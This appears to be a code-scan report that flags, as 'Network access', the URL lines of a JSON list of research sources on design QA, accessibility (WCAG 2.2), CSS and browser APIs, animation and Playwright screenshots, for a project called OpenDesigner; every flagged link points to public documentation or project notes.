    "title": "Uiprobe: Figma design QA checklist for frontend teams",       "url": "https://www.uiprobe.io/learn/figma-design-qa-checklist-for-frontend-teams",       "status": "opened",
  • Network accessline 1354
    "url": "https://www.uiprobe.io/learn/figma-design-qa-checklist-for-frontend-teams",
  • Network accessline 1358
    "S-R5-031": {       "title": "OverlayQA: what is design QA",       "url": "https://overlayqa.com/blog/what-is-design-qa/",
  • Network accessline 1359
    "title": "OverlayQA: what is design QA",       "url": "https://overlayqa.com/blog/what-is-design-qa/",       "status": "opened",
  • Network accessline 1360
    "url": "https://overlayqa.com/blog/what-is-design-qa/",
  • Network accessline 1364
    "S-R5-032": {       "title": "Vercel web interface guidelines",       "url": "https://github.com/vercel-labs/web-interface-guidelines/blob/main/command.md",
  • Network accessline 1365
    "title": "Vercel web interface guidelines",       "url": "https://github.com/vercel-labs/web-interface-guidelines/blob/main/command.md",       "status": "opened"
  • Network accessline 1366
    "url": "https://github.com/vercel-labs/web-interface-guidelines/blob/main/command.md",
  • Network accessline 1369
    "S-R5-033": {       "title": "NN/g: designing empty states",       "url": "https://www.nngroup.com/articles/empty-state-interface-design/",
  • Network accessline 1370
    "title": "NN/g: designing empty states",       "url": "https://www.nngroup.com/articles/empty-state-interface-design/",       "status": "opened"
  • Network accessline 1371
    "url": "https://www.nngroup.com/articles/empty-state-interface-design/",
  • Network accessline 1374
    "S-R5-034": {       "title": "NN/g: skeleton screens",       "url": "https://www.nngroup.com/articles/skeleton-screens/",
  • Network accessline 1375
    "title": "NN/g: skeleton screens",       "url": "https://www.nngroup.com/articles/skeleton-screens/",       "status": "opened"
  • Network accessline 1376
    "url": "https://www.nngroup.com/articles/skeleton-screens/",
  • Network accessline 1379
    "S-R5-035": {       "title": "W3C: text size in translation",       "url": "https://www.w3.org/International/articles/article-text-size",
  • Network accessline 1380
    "title": "W3C: text size in translation",       "url": "https://www.w3.org/International/articles/article-text-size",       "status": "opened",
  • Network accessline 1381
    "url": "https://www.w3.org/International/articles/article-text-size",
  • Network accessline 1385
    "S-R5-036": {       "title": "MDN: CSS logical properties and values",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_logical_properties_and_values",
  • Network accessline 1386
    "title": "MDN: CSS logical properties and values",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_logical_properties_and_values",       "status": "opened"
  • Network accessline 1387
    "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_logical_properties_and_values",
  • Network accessline 1390
    "S-R5-037": {       "title": "Deque: automated testing finds 57% of accessibility issues",       "url": "https://www.deque.com/blog/automated-testing-study-identifies-57-percent-of-digital-accessibility-issues/",
  • Network accessline 1391
    "title": "Deque: automated testing finds 57% of accessibility issues",       "url": "https://www.deque.com/blog/automated-testing-study-identifies-57-percent-of-digital-accessibility-issues/",       "status": "opened",
  • Network accessline 1392
    "url": "https://www.deque.com/blog/automated-testing-study-identifies-57-percent-of-digital-accessibility-issues/",
  • Network accessline 1396
    "S-R5-038": {       "title": "UK GDS accessibility tool audit",       "url": "https://alphagov.github.io/accessibility-tool-audit/",
  • Network accessline 1397
    "title": "UK GDS accessibility tool audit",       "url": "https://alphagov.github.io/accessibility-tool-audit/",       "status": "opened",
  • Network accessline 1398
    "url": "https://alphagov.github.io/accessibility-tool-audit/",
  • Network accessline 1402
    "S-R5-039": {       "title": "axe-core rule descriptions",       "url": "https://github.com/dequelabs/axe-core/blob/develop/doc/rule-descriptions.md",
  • Network accessline 1403
    "title": "axe-core rule descriptions",       "url": "https://github.com/dequelabs/axe-core/blob/develop/doc/rule-descriptions.md",       "status": "opened"
  • Network accessline 1404
    "url": "https://github.com/dequelabs/axe-core/blob/develop/doc/rule-descriptions.md",
  • Network accessline 1407
    "S-R5-040": {       "title": "WCAG 2.2 Understanding 1.4.4 Resize Text",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/resize-text.html",
  • Network accessline 1408
    "title": "WCAG 2.2 Understanding 1.4.4 Resize Text",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/resize-text.html",       "status": "opened"
  • Network accessline 1409
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/resize-text.html",
  • Network accessline 1412
    "S-R5-041": {       "title": "WCAG 2.2 Understanding 1.4.10 Reflow",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/reflow.html",
  • Network accessline 1413
    "title": "WCAG 2.2 Understanding 1.4.10 Reflow",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/reflow.html",       "status": "opened"
  • Network accessline 1414
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/reflow.html",
  • Network accessline 1417
    "S-R5-042": {       "title": "WCAG 2.2 Understanding 1.4.12 Text Spacing",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/text-spacing.html",
  • Network accessline 1418
    "title": "WCAG 2.2 Understanding 1.4.12 Text Spacing",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/text-spacing.html",       "status": "opened"
  • Network accessline 1419
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/text-spacing.html",
  • Network accessline 1422
    "S-R5-043": {       "title": "WCAG 2.2 Understanding 1.4.11 Non-text Contrast",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/non-text-contrast.html",
  • Network accessline 1423
    "title": "WCAG 2.2 Understanding 1.4.11 Non-text Contrast",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/non-text-contrast.html",       "status": "opened"
  • Network accessline 1424
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/non-text-contrast.html",
  • Network accessline 1427
    "S-R5-044": {       "title": "WCAG 2.2 Understanding 2.4.7 Focus Visible",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/focus-visible.html",
  • Network accessline 1428
    "title": "WCAG 2.2 Understanding 2.4.7 Focus Visible",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/focus-visible.html",       "status": "opened"
  • Network accessline 1429
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/focus-visible.html",
  • Network accessline 1432
    "S-R5-045": {       "title": "WCAG 2.2 Understanding 2.4.11 Focus Not Obscured",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/focus-not-obscured-minimum.html",
  • Network accessline 1433
    "title": "WCAG 2.2 Understanding 2.4.11 Focus Not Obscured",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/focus-not-obscured-minimum.html",       "status": "opened"
  • Network accessline 1434
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/focus-not-obscured-minimum.html",
  • Network accessline 1437
    "S-R5-046": {       "title": "WCAG 2.2 Understanding 2.5.8 Target Size (Minimum)",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/target-size-minimum.html",
  • Network accessline 1438
    "title": "WCAG 2.2 Understanding 2.5.8 Target Size (Minimum)",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/target-size-minimum.html",       "status": "opened"
  • Network accessline 1439
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/target-size-minimum.html",
  • Network accessline 1442
    "S-R5-047": {       "title": "WCAG 2.2 Understanding 2.1.2 No Keyboard Trap",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/no-keyboard-trap.html",
  • Network accessline 1443
    "title": "WCAG 2.2 Understanding 2.1.2 No Keyboard Trap",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/no-keyboard-trap.html",       "status": "opened"
  • Network accessline 1444
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/no-keyboard-trap.html",
  • Network accessline 1447
    "S-R5-048": {       "title": "MDN: forced-colors media feature",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/@media/forced-colors",
  • Network accessline 1448
    "title": "MDN: forced-colors media feature",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/@media/forced-colors",       "status": "opened",
  • Network accessline 1449
    "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/@media/forced-colors",
  • Network accessline 1453
    "S-R5-049": {       "title": "MDN: hover media feature",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/@media/hover",
  • Network accessline 1454
    "title": "MDN: hover media feature",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/@media/hover",       "status": "opened"
  • Network accessline 1455
    "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/@media/hover",
  • Network accessline 1458
    "S-R5-050": {       "title": "MDN: env() and safe-area insets",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/env",
  • Network accessline 1459
    "title": "MDN: env() and safe-area insets",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/env",       "status": "opened"
  • Network accessline 1460
    "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/env",
  • Network accessline 1463
    "S-R5-051": {       "title": "MDN: VirtualKeyboard API",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/VirtualKeyboard_API",
  • Network accessline 1464
    "title": "MDN: VirtualKeyboard API",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/VirtualKeyboard_API",       "status": "opened",
  • Network accessline 1465
    "url": "https://developer.mozilla.org/en-US/docs/Web/API/VirtualKeyboard_API",
  • Network accessline 1469
    "S-R5-052": {       "title": "web.dev: the large, small and dynamic viewport units",       "url": "https://web.dev/blog/viewport-units",
  • Network accessline 1470
    "title": "web.dev: the large, small and dynamic viewport units",       "url": "https://web.dev/blog/viewport-units",       "status": "opened"
  • Network accessline 1471
    "url": "https://web.dev/blog/viewport-units",
  • Network accessline 1474
    "S-R5-053": {       "title": "MDN: scrollbar-gutter",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/scrollbar-gutter",
  • Network accessline 1475
    "title": "MDN: scrollbar-gutter",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/scrollbar-gutter",       "status": "opened"
  • Network accessline 1476
    "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/scrollbar-gutter",
  • Network accessline 1479
    "S-R5-054": {       "title": "MDN: FontFaceSet.check()",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/check",
  • Network accessline 1480
    "title": "MDN: FontFaceSet.check()",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/check",       "status": "opened",
  • Network accessline 1481
    "url": "https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/check",
  • Network accessline 1485
    "S-R5-055": {       "title": "Playwright emulation: devices, color scheme, media",       "url": "https://playwright.dev/docs/emulation",
  • Network accessline 1486
    "title": "Playwright emulation: devices, color scheme, media",       "url": "https://playwright.dev/docs/emulation",       "status": "opened",
  • Network accessline 1487
    "url": "https://playwright.dev/docs/emulation",
  • Network accessline 1491
    "S-R5-056": {       "title": "WCAG 2.2 Understanding 1.4.8 Visual Presentation",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/visual-presentation.html",
  • Network accessline 1492
    "title": "WCAG 2.2 Understanding 1.4.8 Visual Presentation",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/visual-presentation.html",       "status": "opened",
  • Network accessline 1493
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/visual-presentation.html",
  • Network accessline 1497
    "S-R5-057": {       "title": "MDN: text-wrap",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/text-wrap",
  • Network accessline 1498
    "title": "MDN: text-wrap",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/text-wrap",       "status": "opened"
  • Network accessline 1499
    "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/text-wrap",
  • Network accessline 1502
    "S-R5-058": {       "title": "MDN: Document.getAnimations()",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/Document/getAnimations",
  • Network accessline 1503
    "title": "MDN: Document.getAnimations()",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/Document/getAnimations",       "status": "opened"
  • Network accessline 1504
    "url": "https://developer.mozilla.org/en-US/docs/Web/API/Document/getAnimations",
  • Network accessline 1507
    "S-R5-059": {       "title": "MDN: Animation.currentTime",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/Animation/currentTime",
  • Network accessline 1508
    "title": "MDN: Animation.currentTime",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/Animation/currentTime",       "status": "opened"
  • Network accessline 1509
    "url": "https://developer.mozilla.org/en-US/docs/Web/API/Animation/currentTime",
  • Network accessline 1512
    "S-R5-060": {       "title": "Chrome DevTools Protocol: browser_protocol.json (Animation, CSS, Emulation domains)",       "url": "https://github.com/ChromeDevTools/devtools-protocol/blob/master/json/browser_protocol.json",
  • Network accessline 1513
    "title": "Chrome DevTools Protocol: browser_protocol.json (Animation, CSS, Emulation domains)",       "url": "https://github.com/ChromeDevTools/devtools-protocol/blob/master/json/browser_protocol.json",       "status": "opened"
  • Network accessline 1514
    "url": "https://github.com/ChromeDevTools/devtools-protocol/blob/master/json/browser_protocol.json",
  • Network accessline 1517
    "S-R5-061": {       "title": "Chrome DevTools: animations panel",       "url": "https://developer.chrome.com/docs/devtools/css/animations",
  • Network accessline 1518
    "title": "Chrome DevTools: animations panel",       "url": "https://developer.chrome.com/docs/devtools/css/animations",       "status": "opened",
  • Network accessline 1519
    "url": "https://developer.chrome.com/docs/devtools/css/animations",
  • Network accessline 1523
    "S-R5-062": {       "title": "Chrome: scroll-driven animations",       "url": "https://developer.chrome.com/docs/css-ui/scroll-driven-animations",
  • Network accessline 1524
    "title": "Chrome: scroll-driven animations",       "url": "https://developer.chrome.com/docs/css-ui/scroll-driven-animations",       "status": "opened"
  • Network accessline 1525
    "url": "https://developer.chrome.com/docs/css-ui/scroll-driven-animations",
  • Network accessline 1528
    "S-R5-063": {       "title": "GSAP: globalTimeline",       "url": "https://gsap.com/docs/v3/GSAP/gsap.globalTimeline/",
  • Network accessline 1529
    "title": "GSAP: globalTimeline",       "url": "https://gsap.com/docs/v3/GSAP/gsap.globalTimeline/",       "status": "opened"
  • Network accessline 1530
    "url": "https://gsap.com/docs/v3/GSAP/gsap.globalTimeline/",
  • Network accessline 1533
    "S-R5-064": {       "title": "lottie-web README",       "url": "https://raw.githubusercontent.com/airbnb/lottie-web/master/README.md",
  • Network accessline 1534
    "title": "lottie-web README",       "url": "https://raw.githubusercontent.com/airbnb/lottie-web/master/README.md",       "status": "opened"
  • Network accessline 1535
    "url": "https://raw.githubusercontent.com/airbnb/lottie-web/master/README.md",
  • Network accessline 1538
    "S-R5-065": {       "title": "Motion: animate()",       "url": "https://motion.dev/docs/animate",
  • Network accessline 1539
    "title": "Motion: animate()",       "url": "https://motion.dev/docs/animate",       "status": "opened"
  • Network accessline 1540
    "url": "https://motion.dev/docs/animate",
  • Network accessline 1543
    "S-R5-066": {       "title": "MDN: SVGSVGElement.setCurrentTime()",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/SVGSVGElement/setCurrentTime",
  • Network accessline 1544
    "title": "MDN: SVGSVGElement.setCurrentTime()",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/SVGSVGElement/setCurrentTime",       "status": "opened"
  • Network accessline 1545
    "url": "https://developer.mozilla.org/en-US/docs/Web/API/SVGSVGElement/setCurrentTime",
  • Network accessline 1548
    "S-R5-067": {       "title": "Playwright API parameters (screenshot animations, wait states)",       "url": "https://raw.githubusercontent.com/microsoft/playwright/main/docs/src/api/params.md",
  • Network accessline 1549
    "title": "Playwright API parameters (screenshot animations, wait states)",       "url": "https://raw.githubusercontent.com/microsoft/playwright/main/docs/src/api/params.md",       "status": "opened",
  • Network accessline 1550
    "url": "https://raw.githubusercontent.com/microsoft/playwright/main/docs/src/api/params.md",
  • Network accessline 1554
    "S-R5-068": {       "title": "Playwright videos",       "url": "https://playwright.dev/docs/videos",
  • Network accessline 1555
    "title": "Playwright videos",       "url": "https://playwright.dev/docs/videos",       "status": "opened"
  • Network accessline 1556
    "url": "https://playwright.dev/docs/videos",
  • Network accessline 1559
    "S-R5-069": {       "title": "Material Web motion tokens",       "url": "https://github.com/material-components/material-web/blob/main/tokens/versions/v0_192/_md-sys-motion.scss",
  • Network accessline 1560
    "title": "Material Web motion tokens",       "url": "https://github.com/material-components/material-web/blob/main/tokens/versions/v0_192/_md-sys-motion.scss",       "status": "opened"
  • Network accessline 1561
    "url": "https://github.com/material-components/material-web/blob/main/tokens/versions/v0_192/_md-sys-motion.scss",
  • Network accessline 1564
    "S-R5-070": {       "title": "NN/g: response times and animation duration",       "url": "https://www.nngroup.com/articles/animation-duration/",
  • Network accessline 1565
    "title": "NN/g: response times and animation duration",       "url": "https://www.nngroup.com/articles/animation-duration/",       "status": "opened"
  • Network accessline 1566
    "url": "https://www.nngroup.com/articles/animation-duration/",
  • Network accessline 1569
    "S-R5-071": {       "title": "Apple HIG: motion",       "url": "https://developer.apple.com/design/human-interface-guidelines/motion",
  • Network accessline 1570
    "title": "Apple HIG: motion",       "url": "https://developer.apple.com/design/human-interface-guidelines/motion",       "status": "opened",
  • Network accessline 1571
    "url": "https://developer.apple.com/design/human-interface-guidelines/motion",
  • Network accessline 1575
    "S-R5-072": {       "title": "web.dev: how to create high-performance CSS animations",       "url": "https://web.dev/articles/animations-guide",
  • Network accessline 1576
    "title": "web.dev: how to create high-performance CSS animations",       "url": "https://web.dev/articles/animations-guide",       "status": "opened"
  • Network accessline 1577
    "url": "https://web.dev/articles/animations-guide",
  • Network accessline 1580
    "S-R5-073": {       "title": "MDN: PerformanceLongAnimationFrameTiming",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongAnimationFrameTiming",
  • Network accessline 1581
    "title": "MDN: PerformanceLongAnimationFrameTiming",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongAnimationFrameTiming",       "status": "opened"
  • Network accessline 1582
    "url": "https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongAnimationFrameTiming",
  • Network accessline 1585
    "S-R5-074": {       "title": "web.dev: cumulative layout shift",       "url": "https://web.dev/articles/cls",
  • Network accessline 1586
    "title": "web.dev: cumulative layout shift",       "url": "https://web.dev/articles/cls",       "status": "opened",
  • Network accessline 1587
    "url": "https://web.dev/articles/cls",
  • Network accessline 1591
    "S-R5-075": {       "title": "WCAG 2.2 Understanding 2.2.2 Pause, Stop, Hide",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/pause-stop-hide.html",
  • Network accessline 1592
    "title": "WCAG 2.2 Understanding 2.2.2 Pause, Stop, Hide",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/pause-stop-hide.html",       "status": "opened"
  • Network accessline 1593
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/pause-stop-hide.html",
  • Network accessline 1596
    "S-R5-076": {       "title": "WCAG 2.2 Understanding 2.3.1 Three Flashes",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/three-flashes-or-below-threshold.html",
  • Network accessline 1597
    "title": "WCAG 2.2 Understanding 2.3.1 Three Flashes",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/three-flashes-or-below-threshold.html",       "status": "opened"
  • Network accessline 1598
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/three-flashes-or-below-threshold.html",
  • Network accessline 1601
    "S-R5-077": {       "title": "WCAG 2.2 Understanding 2.3.3 Animation from Interactions",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/animation-from-interactions.html",
  • Network accessline 1602
    "title": "WCAG 2.2 Understanding 2.3.3 Animation from Interactions",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/animation-from-interactions.html",       "status": "opened",
  • Network accessline 1603
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/animation-from-interactions.html",
  • Network accessline 1607
    "S-R5-078": {       "title": "W3C APG: carousel pattern",       "url": "https://www.w3.org/WAI/ARIA/apg/patterns/carousel/",
  • Network accessline 1608
    "title": "W3C APG: carousel pattern",       "url": "https://www.w3.org/WAI/ARIA/apg/patterns/carousel/",       "status": "opened"
  • Network accessline 1609
    "url": "https://www.w3.org/WAI/ARIA/apg/patterns/carousel/",
  • Network accessline 1612
    "S-R5-079": {       "title": "WCAG 2.2 Understanding 2.2.1 Timing Adjustable",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/timing-adjustable.html",
  • Network accessline 1613
    "title": "WCAG 2.2 Understanding 2.2.1 Timing Adjustable",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/timing-adjustable.html",       "status": "opened"
  • Network accessline 1614
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/timing-adjustable.html",
  • Network accessline 1617
    "S-R5-080": {       "title": "Chart.js animations",       "url": "https://www.chartjs.org/docs/latest/configuration/animations.html",
  • Network accessline 1618
    "title": "Chart.js animations",       "url": "https://www.chartjs.org/docs/latest/configuration/animations.html",       "status": "opened"
  • Network accessline 1619
    "url": "https://www.chartjs.org/docs/latest/configuration/animations.html",
  • Network accessline 1622
    "S-R5-081": {       "title": "Playwright screenshotter source: how fullPage is captured",       "url": "https://raw.githubusercontent.com/microsoft/playwright/main/packages/playwright-core/src/server/screenshotter.ts",
  • Network accessline 1623
    "title": "Playwright screenshotter source: how fullPage is captured",       "url": "https://raw.githubusercontent.com/microsoft/playwright/main/packages/playwright-core/src/server/screenshotter.ts",       "status": "opened"
  • Network accessline 1624
    "url": "https://raw.githubusercontent.com/microsoft/playwright/main/packages/playwright-core/src/server/screenshotter.ts",
  • Network accessline 1627
    "S-R5-082": {       "title": "Puppeteer issue 1559: 100vh and full-page screenshots",       "url": "https://github.com/puppeteer/puppeteer/issues/1559",
  • Network accessline 1628
    "title": "Puppeteer issue 1559: 100vh and full-page screenshots",       "url": "https://github.com/puppeteer/puppeteer/issues/1559",       "status": "opened"
  • Network accessline 1629
    "url": "https://github.com/puppeteer/puppeteer/issues/1559",
  • Network accessline 1632
    "S-R5-083": {       "title": "Playwright issue 42717: WebP above 16383 px returns an empty file",       "url": "https://github.com/microsoft/playwright/issues/42717",
  • Network accessline 1633
    "title": "Playwright issue 42717: WebP above 16383 px returns an empty file",       "url": "https://github.com/microsoft/playwright/issues/42717",       "status": "opened"
  • Network accessline 1634
    "url": "https://github.com/microsoft/playwright/issues/42717",
  • Network accessline 1637
    "S-R5-084": {       "title": "Playwright issue 22755: pointer stays after hover",       "url": "https://github.com/microsoft/playwright/issues/22755",
  • Network accessline 1638
    "title": "Playwright issue 22755: pointer stays after hover",       "url": "https://github.com/microsoft/playwright/issues/22755",       "status": "opened"
  • Network accessline 1639
    "url": "https://github.com/microsoft/playwright/issues/22755",
  • Network accessline 1642
    "S-R5-085": {       "title": "MDN: :focus-visible",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/:focus-visible",
  • Network accessline 1643
    "title": "MDN: :focus-visible",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/:focus-visible",       "status": "opened"
  • Network accessline 1644
    "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/:focus-visible",
  • Network accessline 1647
    "S-R5-086": {       "title": "MDN: meta viewport",       "url": "https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta/name/viewport",
  • Network accessline 1648
    "title": "MDN: meta viewport",       "url": "https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta/name/viewport",       "status": "opened"
  • Network accessline 1649
    "url": "https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta/name/viewport",
  • Network accessline 1652
    "S-R5-087": {       "title": "MDN: FontFaceSet.ready",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/ready",
  • Network accessline 1653
    "title": "MDN: FontFaceSet.ready",       "url": "https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/ready",       "status": "opened",
  • Network accessline 1654
    "url": "https://developer.mozilla.org/en-US/docs/Web/API/FontFaceSet/ready",
  • Network accessline 1658
    "S-R5-088": {       "title": "Playwright MCP README",       "url": "https://raw.githubusercontent.com/microsoft/playwright-mcp/main/README.md",
  • Network accessline 1659
    "title": "Playwright MCP README",       "url": "https://raw.githubusercontent.com/microsoft/playwright-mcp/main/README.md",       "status": "opened"
  • Network accessline 1660
    "url": "https://raw.githubusercontent.com/microsoft/playwright-mcp/main/README.md",
  • Network accessline 1663
    "S-R5-089": {       "title": "Claude Code: use Chrome",       "url": "https://code.claude.com/docs/en/chrome",
  • Network accessline 1664
    "title": "Claude Code: use Chrome",       "url": "https://code.claude.com/docs/en/chrome",       "status": "opened",
  • Network accessline 1665
    "url": "https://code.claude.com/docs/en/chrome",
  • Network accessline 1669
    "S-R5-090": {       "title": "CSS-Tricks: 16px or larger text prevents iOS form zoom",       "url": "https://css-tricks.com/16px-or-larger-text-prevents-ios-form-zoom/",
  • Network accessline 1670
    "title": "CSS-Tricks: 16px or larger text prevents iOS form zoom",       "url": "https://css-tricks.com/16px-or-larger-text-prevents-ios-form-zoom/",       "status": "opened",
  • Network accessline 1671
    "url": "https://css-tricks.com/16px-or-larger-text-prevents-ios-form-zoom/",
  • Network accessline 1681
    "S-R5-092": {       "title": "WCAG 2.2 Understanding 2.1.1 Keyboard",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/keyboard.html",
  • Network accessline 1682
    "title": "WCAG 2.2 Understanding 2.1.1 Keyboard",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/keyboard.html",       "status": "opened",
  • Network accessline 1683
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/keyboard.html",
  • Network accessline 1687
    "S-R5-093": {       "title": "Apple HIG: accessibility (control sizes table, read from its page data)",       "url": "https://developer.apple.com/design/human-interface-guidelines/accessibility",
  • Network accessline 1688
    "title": "Apple HIG: accessibility (control sizes table, read from its page data)",       "url": "https://developer.apple.com/design/human-interface-guidelines/accessibility",       "status": "opened",
  • Network accessline 1689
    "url": "https://developer.apple.com/design/human-interface-guidelines/accessibility",
  • Network accessline 1693
    "S-R5-094": {       "title": "Android: make apps more accessible (touch target size)",       "url": "https://developer.android.com/guide/topics/ui/accessibility/apps",
  • Network accessline 1694
    "title": "Android: make apps more accessible (touch target size)",       "url": "https://developer.android.com/guide/topics/ui/accessibility/apps",       "status": "opened",
  • Network accessline 1695
    "url": "https://developer.android.com/guide/topics/ui/accessibility/apps",
  • Network accessline 1699
    "S-R5-095": {       "title": "W3C APG: modal dialog pattern",       "url": "https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/",
  • Network accessline 1700
    "title": "W3C APG: modal dialog pattern",       "url": "https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/",       "status": "opened",
  • Network accessline 1701
    "url": "https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/",
  • Network accessline 1705
    "S-R5-096": {       "title": "WCAG 2.2 Understanding 1.4.3 Contrast (Minimum)",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/contrast-minimum.html",
  • Network accessline 1706
    "title": "WCAG 2.2 Understanding 1.4.3 Contrast (Minimum)",       "url": "https://www.w3.org/WAI/WCAG22/Understanding/contrast-minimum.html",       "status": "opened",
  • Network accessline 1707
    "url": "https://www.w3.org/WAI/WCAG22/Understanding/contrast-minimum.html",
  • Network accessline 1711
    "S-R5-097": {       "title": "Material Design: bidirectionality",       "url": "https://m2.material.io/design/usability/bidirectionality.html",
  • Network accessline 1712
    "title": "Material Design: bidirectionality",       "url": "https://m2.material.io/design/usability/bidirectionality.html",       "status": "snippet",
  • Network accessline 1713
    "url": "https://m2.material.io/design/usability/bidirectionality.html",
  • Network accessline 1717
    "S-R5-098": {       "title": "MDN: font-weight (matching rule)",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/font-weight",
  • Network accessline 1718
    "title": "MDN: font-weight (matching rule)",       "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/font-weight",       "status": "opened",
  • Network accessline 1719
    "url": "https://developer.mozilla.org/en-US/docs/Web/CSS/font-weight",
  • Network accessline 1723
    "S-R5-099": {       "title": "Playwright API: page.emulateMedia",       "url": "https://playwright.dev/docs/api/class-page#page-emulate-media",
  • Network accessline 1724
    "title": "Playwright API: page.emulateMedia",       "url": "https://playwright.dev/docs/api/class-page#page-emulate-media",       "status": "opened",
  • Network accessline 1725
    "url": "https://playwright.dev/docs/api/class-page#page-emulate-media",
  • Network accessline 1729
    "S-R5-100": {       "title": "CSS Font Loading Module (W3C draft)",       "url": "https://drafts.csswg.org/css-font-loading/",
  • Network accessline 1730
    "title": "CSS Font Loading Module (W3C draft)",       "url": "https://drafts.csswg.org/css-font-loading/",       "status": "opened",
  • Network accessline 1731
    "url": "https://drafts.csswg.org/css-font-loading/",
  • Network accessline 1735
    "S-R5-101": {       "title": "OpenDesigner demo trial 1, owner review (2026-10-21)",       "url": "https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md",
  • Network accessline 1736
    "title": "OpenDesigner demo trial 1, owner review (2026-10-21)",       "url": "https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md",       "status": "opened",
  • Network accessline 1737
    "url": "https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md",
  • Network accessline 1741
    "S-R5-102": {       "title": "OpenDesigner owner review of nested corners (2026-10-21)",       "url": "https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md",
  • Network accessline 1742
    "title": "OpenDesigner owner review of nested corners (2026-10-21)",       "url": "https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md",       "status": "opened",
  • Network accessline 1743
    "url": "https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md",
  • Network accessline 1747
    "S-R5-103": {       "title": "OpenDesigner owner review of the website (2026-10-15)",       "url": "https://github.com/ckryptickunal/OpenDesigner/blob/main/_coordination/OWNER-FEEDBACK.md",
  • Network accessline 1748
